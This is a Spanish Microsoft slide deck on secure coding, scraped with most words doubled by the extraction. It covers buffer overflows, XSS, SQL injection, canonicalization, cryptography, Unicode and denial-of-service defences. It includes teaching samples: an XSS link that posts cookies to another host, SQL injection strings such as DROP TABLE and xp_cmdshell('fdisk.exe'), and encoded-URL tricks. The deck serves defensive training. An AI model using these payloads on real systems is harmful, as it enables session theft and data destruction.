Upload
merlin-belles
View
12
Download
3
Embed Size (px)
Citation preview
EscrituraEscritura dede códigocódigo seguro:seguro: defensadefensa contracontra laslas amenazasamenazas
ContenidoContenidoLaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
RequisitosRequisitos previosprevios parapara lala sesiónsesión
ExperienciaExperiencia enen desarrollodesarrollo concon Microsoft®Microsoft®VisualVisual Basic®,Basic®, MicrosoftMicrosoft VisualVisual C++®C++® oo C#C#
NivelNivel 200200
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguro
Defensa contra problemas de memoriaDefensa contra problemas de memoria
Defensa contra errores aritméticosDefensa contra errores aritméticos
Defensa contra secuencias de comandos Defensa contra secuencias de comandos entre sitiosentre sitios
Defensa contra inyecciones de SQLDefensa contra inyecciones de SQL
Defensa contra problemas de Defensa contra problemas de canonizacióncanonización
Defensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografía
Defensa contra problemas de UnicodeDefensa contra problemas de Unicode
Defensa contra la denegación de servicioDefensa contra la denegación de servicio
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguro
“Puerto de EE.UU. atacado por un pirata del Reino Unido”
“Varias corporaciones dicen que perdieron 10 millones de dólares en un único ataque””
“Hasta 1500 sitios Web pudieron haberse visto afectados por un ataque reciente”
“La piratería cuesta más de 4300 puestos de trabajo y 850 millones de dólares en daños””
“El virus Sobig causó unos daños económicos de 30000 millones de dólares en todo el mundo”” “Los ataques costarán a la
economía mundial 1,6 trillones de dólares estadounidenses este año”
EscenariosEscenarios dede amenazasamenazas
EmpleadosEmpleados queque sese conectanconectan aa lala redred dede lala empresaempresa
Por cable, inalámbrica, acceso telefónico, VPNPor cable, inalámbrica, acceso telefónico, VPNPCs de la empresa, sistemas propiedad de PCs de la empresa, sistemas propiedad de los usuarioslos usuarios
Empleados que se conectan a otras redesEmpleados que se conectan a otras redesZonas activas de Internet, redes asociadas, Zonas activas de Internet, redes asociadas, banda anchabanda ancha
Asociados que se conectan a la red de la Asociados que se conectan a la red de la empresaempresa
Autenticación local frente a federadaAutenticación local frente a federada
Invitados anónimosInvitados anónimos
Nuevos escenarios y nuevas amenazasNuevos escenarios y nuevas amenazas
PosiblesPosibles atacantesatacantes
LadronesLadrones
TimadoresTimadores
VándalosVándalos
CriminalesCriminales
HackersHackers
No debe sorprenderle que se produzcan ataquesNo debe sorprenderle que se produzcan ataques
TiposTipos comunescomunes dede ataqueataque
Errores de conexión
Ataquesorganizativos
Datos restringidos
Infracciones accidentales
de la seguridad
Ataquesautomatizados
Hackers
Virus, caballos de Troya
y gusanos
Denegación de servicio (DoS)
DoS
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
QuéQué eses unun desbordamientodesbordamiento dede búferbúfer
OcurreOcurre cuandocuando loslos datosdatos superansuperan elel tamañotamaño esperadoesperado yy sobrescribensobrescriben otrosotros valoresvalores
Se produce principalmente en código Se produce principalmente en código C/C++ no administradoC/C++ no administrado
Incluye cuatro tipos:Incluye cuatro tipos: Desbordamientos de búfer basados en pilasDesbordamientos de búfer basados en pilas
Desbordamiento de memoria dinámicaDesbordamiento de memoria dinámica
Sobrescrituras de punteros de función y de Sobrescrituras de punteros de función y de V-tableV-table
Sobrescrituras de manejadores de Sobrescrituras de manejadores de excepcionesexcepciones
LoLo puedenpueden explotarexplotar loslos gusanosgusanos
Posible resultado Objetivo del pirata
Infracción de accesoRealizar ataques de denegación de servicio contra los servidores
Inestabilidad Interrumpir el funcionamiento normal del software
Inyección de código
Conseguir privilegios para su propio códigoExplotar datos empresariales fundamentalesRealizar acciones destructivas
PosiblesPosibles resultadosresultados dede loslos desbordamientosdesbordamientos dede búferbúfer
void UnSafe (const char* uncheckedData)
{
int anotherLocalVariable;
strcpy (localVariable, uncheckedData);
}
char localVariable[4];
EjemploEjemplo dede desbordamientodesbordamiento dede búferbúfer basadobasado enen pilapila
Parte superior de la pila
char[4]
int
Dirección de retorno
Desbordamiento de memoria Desbordamiento de memoria dinámicadinámica
SobrescribenSobrescriben datosdatos almacenadosalmacenados enen la la memoria dinámica (HEAP)memoria dinámica (HEAP)
Son más difíciles de explotar que un Son más difíciles de explotar que un desbordamiento de búferdesbordamiento de búfer
Datos
Puntero
Datos
Datos
Puntero
Puntero
strcpystrcpy xxxxxxxxxxxxxxxxxxxxxxxxxxxx
DefensaDefensa contracontra loslos desbordamientosdesbordamientos dede búferbúfer (1(1 dede 2)2)TengaTenga muchomucho cuidadocuidado cuandocuando utilice:utilice:
strcpystrcpy
strncpystrncpy
CopyMemoryCopyMemory
MultiByteToWideCharMultiByteToWideChar
Use la opción de compilación /GS de Use la opción de compilación /GS de Visual C++ para detectar Visual C++ para detectar desbordamientos de búferdesbordamientos de búfer
Utilice strsafe.h para lograr un Utilice strsafe.h para lograr un tratamiento más seguro de los búferestratamiento más seguro de los búferes
DefensaDefensa contracontra loslos desbordamientosdesbordamientos dede búferbúfer (2(2 dede 2)2)CompruebeCompruebe todostodos loslos índicesíndices dede matricesmatrices
Utilice clases de empaquetadores Utilice clases de empaquetadores existentes para lograr un tratamiento existentes para lograr un tratamiento seguro de las matricesseguro de las matrices
Compruebe las longitudes de rutas de Compruebe las longitudes de rutas de acceso a archivos mediante _MAX_PATHacceso a archivos mediante _MAX_PATH
Utilice métodos reconocidos de Utilice métodos reconocidos de procesamiento de rutas de acceso a procesamiento de rutas de acceso a archivos, como splitpatharchivos, como splitpath
Utilice código administrado, pero preste Utilice código administrado, pero preste atención a PInvoke y COM Interopatención a PInvoke y COM Interop
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
ErroresErrores aritméticosaritméticos
SeSe producenproducen cuandocuando sese superansuperan laslas limitacioneslimitaciones dede unauna variablevariable
Generan errores graves en tiempo Generan errores graves en tiempo de ejecuciónde ejecución
Suelen pasarse por alto y subestimarseSuelen pasarse por alto y subestimarse
Incluyen:Incluyen:Desbordamiento: valor demasiado grande Desbordamiento: valor demasiado grande para un tipo de datospara un tipo de datos
Subdesbordamiento: valor demasiado Subdesbordamiento: valor demasiado pequeño para un tipo de datospequeño para un tipo de datos
DefensaDefensa contracontra erroreserrores aritméticosaritméticos
SeaSea conscienteconsciente dede laslas limitacioneslimitaciones dede loslos tipostipos dede datosdatos elegidoselegidos
Escriba código de defensa que Escriba código de defensa que compruebe si hay desbordamientoscompruebe si hay desbordamientos
Considere la posibilidad de escribir Considere la posibilidad de escribir funciones seguras reutilizablesfunciones seguras reutilizables
Considere la posibilidad de utilizar una Considere la posibilidad de utilizar una clase plantilla segura (si está clase plantilla segura (si está programando en C++)programando en C++)
DemostraciónDemostración 11 ProblemasProblemas dede memoriamemoria yy erroreserrores dede tipotipo dede datosdatos
InvestigaciónInvestigación dede loslos desbordamientosdesbordamientos dede búferbúfer
UsoUso deldel modificadormodificador dede compilacióncompilación /GS/GSUsoUso dede STRSAFE.HSTRSAFE.H
RealizaciónRealización dede cálculoscálculos aritméticosaritméticos segurosseguros
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
QuéQué sonson laslas secuenciassecuencias dede comandoscomandos entreentre sitiossitios
UnaUna técnicatécnica queque permitepermite aa loslos hackers:hackers:Ejecutar una secuencia de comandos Ejecutar una secuencia de comandos malintencionada en el explorador Web malintencionada en el explorador Web de un clientede un cliente
Insertar etiquetas <script>, <object>, Insertar etiquetas <script>, <object>, <applet>, <form> y <embed><applet>, <form> y <embed>
Robar información de la sesión Web y cookies Robar información de la sesión Web y cookies de autenticaciónde autenticación
Tener acceso al equipo clienteTener acceso al equipo clienteCualquier página Web que produzca
código HTML que contenga datos proporcionados por el usuario es vulnerable
DosDos explotacionesexplotaciones frecuentesfrecuentes dede laslas secuenciassecuencias dede comandoscomandos entreentre sitiossitios
AtaquesAtaques aa plataformasplataformas dede correocorreo electrónicoelectrónico yy panelespaneles dede discusióndiscusión basadosbasados enen WebWeb
Uso de etiquetas <form> de HTML para Uso de etiquetas <form> de HTML para redirigir información privadaredirigir información privada
AtaquesAtaques basadosbasados enen FormForm (1(1 dede 2)2)
Response.Write(“Bienvenido” & Request.QueryString(“UserName”))
AtaquesAtaques basadosbasados enen FormForm (2(2 dede 2)2)
<a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >
here</a>
DemostraciónDemostración 22SecuenciasSecuencias dede comandoscomandos
entreentre sitiossitios
InvestigaciónInvestigación dede secuenciassecuencias dede comandoscomandos entreentre sitiossitios
DefensaDefensa contracontra secuenciassecuencias dede comandoscomandos entreentre sitiossitios
No:No:Confíe en los datos proporcionados por los Confíe en los datos proporcionados por los usuariosusuarios
Repita datos especificados por los usuarios Repita datos especificados por los usuarios basados en Web a menos que los haya basados en Web a menos que los haya validadovalidado
Almacene información secreta en cookiesAlmacene información secreta en cookies
Sí:Sí:Utilice la opción de cookie HttpOnlyUtilice la opción de cookie HttpOnly
Utilice el atributo de seguridad <frame>Utilice el atributo de seguridad <frame>
Aproveche las características de ASP.NETAproveche las características de ASP.NET
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
QuéQué eses lala inyeccióninyección dede SQLSQL
LaLa inyeccióninyección dede SQLSQL es:es:El proceso de agregar instrucciones SQL El proceso de agregar instrucciones SQL con los datos especificados por el usuariocon los datos especificados por el usuario
Los hackers la utilizan para:Los hackers la utilizan para:Examinar bases de datosExaminar bases de datos
Eludir la autorizaciónEludir la autorización
Ejecutar varias instrucciones SQLEjecutar varias instrucciones SQL
Llamar a procedimientos almacenados Llamar a procedimientos almacenados integradosintegrados
EjemplosEjemplos dede inyeccióninyección dede SQLSQL
SiSi lala variablevariable IDID sese leelee directamentedirectamente dede unun cuadrocuadro dede textotexto dede unun formularioformulario WebWeb oo dede Windows,Windows, elel usuariousuario podríapodría introducirintroducir cualquieracualquiera dede loslos siguientessiguientes valores:valores:
ALFKI1001ALFKI1001
ALFKI1001' or 1=1 --ALFKI1001' or 1=1 --
ALFKI1001' DROP TABLE OrderDetail --ALFKI1001' DROP TABLE OrderDetail --
ALFKI1001' exec xp_cmdshell('fdisk.exe') --ALFKI1001' exec xp_cmdshell('fdisk.exe') --
sqlString = "SELECT HasShipped FROM"+ " OrderDetail WHERE OrderID ='"+ ID + "'";
DemostraciónDemostración 33InyecciónInyección dede SQLSQL
InvestigaciónInvestigación dede problemasproblemas porpor inyeccióninyección dede SQLSQL
UsoUso dede consultasconsultas parametrizadasparametrizadas parapara defendersedefenderse contracontra lala inyeccióninyección dede SQLSQL
DefensaDefensa contracontra inyeccionesinyecciones dede SQLSQLLimpie Limpie todostodos loslos datosdatos especificadosespecificados porpor loslos
usuariosusuariosConsidere que todos los datos de entrada son Considere que todos los datos de entrada son peligrosos mientras no se demuestre lo contrariopeligrosos mientras no se demuestre lo contrario
Busque los datos válidos y rechace todos los demásBusque los datos válidos y rechace todos los demás
Considere la posibilidad de utilizar expresiones Considere la posibilidad de utilizar expresiones regulares para quitar los caracteres no deseadosregulares para quitar los caracteres no deseados
Ejecute el código con el menor privilegio Ejecute el código con el menor privilegio posibleposible
Nunca ejecute código como “sa”Nunca ejecute código como “sa”
Restrinja el acceso a los procedimientos almacenados Restrinja el acceso a los procedimientos almacenados integradosintegrados
Utilice procedimientos almacenados o Utilice procedimientos almacenados o consultas de SQL parametrizadas para tener consultas de SQL parametrizadas para tener acceso a los datosacceso a los datos
No muestre los errores de ODBCNo muestre los errores de ODBC
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de memoriaDefensa contra problemas de memoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de comandos Defensa contra secuencias de comandos entre sitiosentre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas deDefensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de servicioDefensa contra la denegación de servicio
ProblemasProblemas dede canonizacióncanonización
SueleSuele haberhaber másmás dede unauna formaforma dede denominardenominar algoalgo
Existen representaciones alternativas Existen representaciones alternativas para:para:
Nombres de archivoNombres de archivo
Direcciones URLDirecciones URL
Dispositivos (como impresoras)Dispositivos (como impresoras)
Los hackers pueden explotar código que Los hackers pueden explotar código que toma decisiones basándose en nombres toma decisiones basándose en nombres de archivo o direcciones URLde archivo o direcciones URL
ProblemasProblemas dede canonizacióncanonizaciónEjemploEjemplo 1:1: nombresnombres dede archivoarchivo
1.1. MiArchivoLargo.txtMiArchivoLargo.txt2.2. MiArchivoLargo.txt.MiArchivoLargo.txt.3.3. MiArch~1.txtMiArch~1.txt4.4. MiArchivoLargo.txt::$DATAMiArchivoLargo.txt::$DATA
HayHay muchasmuchas formasformas dede representarrepresentar caracterescaracteres enen InternetInternet
ProblemasProblemas dede canonizacióncanonizaciónEjemploEjemplo 2:2: representaciónrepresentación dede caracterescaracteres
http://www.microsoft.com/technet/security
EsEs igualigual queque
http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity
http://www.microsoft.com%c0%aftechnet%c0%afsecurity
http://www%25%32%65microsoft.com/technet/security
http://172.43.122.12 = http://2888530444
DemostraciónDemostración 44 ProblemasProblemas dede canonizacióncanonización
InvestigaciónInvestigación dede laslas decisionesdecisiones dede seguridadseguridad basándosebasándose enen nombresnombres dede
archivoarchivo
DefensaDefensa contracontra problemasproblemas dede canonizacióncanonización
UtiliceUtilice lala seguridadseguridad deldel sistemasistema dede archivosarchivos parapara restringirrestringir elel accesoacceso aa datosdatos privadosprivados
No tome nunca una decisión No tome nunca una decisión basándose en un nombrebasándose en un nombre
Deshabilite la opción de rutas de Deshabilite la opción de rutas de acceso primarias de IISacceso primarias de IIS
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
DebilidadesDebilidades enen lala criptografíacriptografía
UsoUso inapropiadoinapropiado dede algoritmosalgoritmosCreación de los suyos propiosCreación de los suyos propios
Uso de algoritmos débilesUso de algoritmos débiles
Aplicación incorrectaAplicación incorrecta
No mantener las claves segurasNo mantener las claves segurasAlmacenamiento inseguroAlmacenamiento inseguro
Uso prolongadoUso prolongado
El factor humanoEl factor humano
ClaveTexto sin cifrar Texto cifrado
Algoritmo
Necesito tres elementos de los anteriores para descifrar
sus datos
DefensaDefensa contracontra debilidadesdebilidades enen lala criptografíacriptografía
RecicleRecicle laslas clavesclaves periódicamenteperiódicamente
Utilice ACL para restringir el acceso a las Utilice ACL para restringir el acceso a las clavesclaves
Almacene las claves en un dispositivo Almacene las claves en un dispositivo externoexterno
Utilice SACL para supervisar las Utilice SACL para supervisar las actividadesactividades
Utilice claves largas para ofrecer Utilice claves largas para ofrecer mayor seguridadmayor seguridad
Utilice DPAPI para simplificar la Utilice DPAPI para simplificar la administración de claves, si es posibleadministración de claves, si es posible
No implemente sus propias rutinas No implemente sus propias rutinas criptográficascriptográficas
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguro
Defensa contra problemas de memoriaDefensa contra problemas de memoria
Defensa contra errores aritméticosDefensa contra errores aritméticos
Defensa contra secuencias de comandos Defensa contra secuencias de comandos entre sitiosentre sitios
Defensa contra inyecciones de SQLDefensa contra inyecciones de SQL
Defensa contra problemas de Defensa contra problemas de canonizacióncanonización
Defensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografía
Defensa contra problemas de UnicodeDefensa contra problemas de Unicode
Defensa contra la denegación de servicioDefensa contra la denegación de servicio
ProblemasProblemas dede UnicodeUnicodeErroresErrores frecuentesfrecuentes
Tratamiento de un carácter Unicode como un Tratamiento de un carácter Unicode como un único byteúnico byte
Cálculo incorrecto del tamaño de búfer Cálculo incorrecto del tamaño de búfer necesarionecesario
Uso incorrecto de MultiByteToWideCharUso incorrecto de MultiByteToWideChar
Validación de los datos antes de la conversión, Validación de los datos antes de la conversión, pero no despuéspero no después
ResultadosResultadosDesbordamientos de búferDesbordamientos de búfer
Algunas secuencias de caracteres Algunas secuencias de caracteres posiblemente peligrosas pueden entrar en sus posiblemente peligrosas pueden entrar en sus rutinas de validaciónrutinas de validación
DefensaDefensa contracontra problemasproblemas dede UnicodeUnicode
CalcularCalcular tamañostamaños dede búferbúfer mediantemediante sizeofsizeof (WCHAR)(WCHAR)
Conocer los estándares GB18030 Conocer los estándares GB18030 (4 bytes por carácter)(4 bytes por carácter)
Convertir de Unicode a ASCII y después Convertir de Unicode a ASCII y después validarvalidar
Utilizar IsNLSDefinedString durante la Utilizar IsNLSDefinedString durante la validaciónvalidación
Utilizar MultiByteToWideChar Utilizar MultiByteToWideChar correctamente para proporcionar un búfer correctamente para proporcionar un búfer suficientesuficiente
DemostraciónDemostración 55 ProblemasProblemas dede UnicodeUnicode
InvestigaciónInvestigación dede problemasproblemas dede UnicodeUnicode
AgendaAgenda
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
AtaquesAtaques dede denegacióndenegación dede servicioservicio
InsuficienciaInsuficiencia dede CPUCPU
Insuficiencia de memoriaInsuficiencia de memoria
Insuficiencia de recursosInsuficiencia de recursos
Insuficiencia de redInsuficiencia de red
DefensaDefensa contracontra loslos ataquesataques dede denegacióndenegación dede servicioservicio
ConsidereConsidere lala seguridadseguridad comocomo unauna característicacaracterística dede diseñodiseño
No confíe en los datos proporcionados No confíe en los datos proporcionados por los usuariospor los usuarios
Aplique inteligencia en caso de errorAplique inteligencia en caso de error
Pruebe la seguridadPruebe la seguridad
ResumenResumen dede lala sesiónsesión
LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio
PasosPasos siguientessiguientes1.1. MantenerseMantenerse informadoinformado sobresobre lala seguridadseguridad
Suscribirse a boletines de seguridad:Suscribirse a boletines de seguridad:
http://www.microsoft.com/security/security_bulletins/alerts2.ashttp://www.microsoft.com/security/security_bulletins/alerts2.aspp (este sitio está en inglés)(este sitio está en inglés)
Obtener las directrices de seguridad de Microsoft Obtener las directrices de seguridad de Microsoft más recientes:más recientes:
http://www.microsoft.com/security/guidance/http://www.microsoft.com/security/guidance/ (este sitio está en (este sitio está en inglés)inglés)
2.2. Obtener información de seguridad adicionalObtener información de seguridad adicional1.1. Buscar seminarios de aprendizaje en línea y Buscar seminarios de aprendizaje en línea y
presenciales:presenciales:
http://www.microsoft.com/seminar/events/http://www.microsoft.com/seminar/events/security.mspxsecurity.mspx (este sitio está en inglés)(este sitio está en inglés)
1.1. Buscar un CTEC local que ofrezca cursos prácticos:Buscar un CTEC local que ofrezca cursos prácticos:
http://www.microsoft.com/learning/http://www.microsoft.com/learning/ (este sitio está en inglés) (este sitio está en inglés)
ParaPara obtenerobtener másmás informacióninformación
SitioSitio dede seguridadseguridad dede MicrosoftMicrosoft (todos(todos loslos usuarios)usuarios)
http://www.microsoft.com/securityhttp://www.microsoft.com/security (este sitio está en inglés)(este sitio está en inglés)
Sitio de seguridad de MSDN (desarrolladores)Sitio de seguridad de MSDN (desarrolladores)
http://http://msdn.microsoft.commsdn.microsoft.com/security/security (este sitio está en inglés)(este sitio está en inglés)
Sitio de seguridad de TechNet (profesionales Sitio de seguridad de TechNet (profesionales de IT)de IT)
http://www.microsoft.com/http://www.microsoft.com/technettechnet/security/security
PreguntasPreguntas yy respuestasrespuestas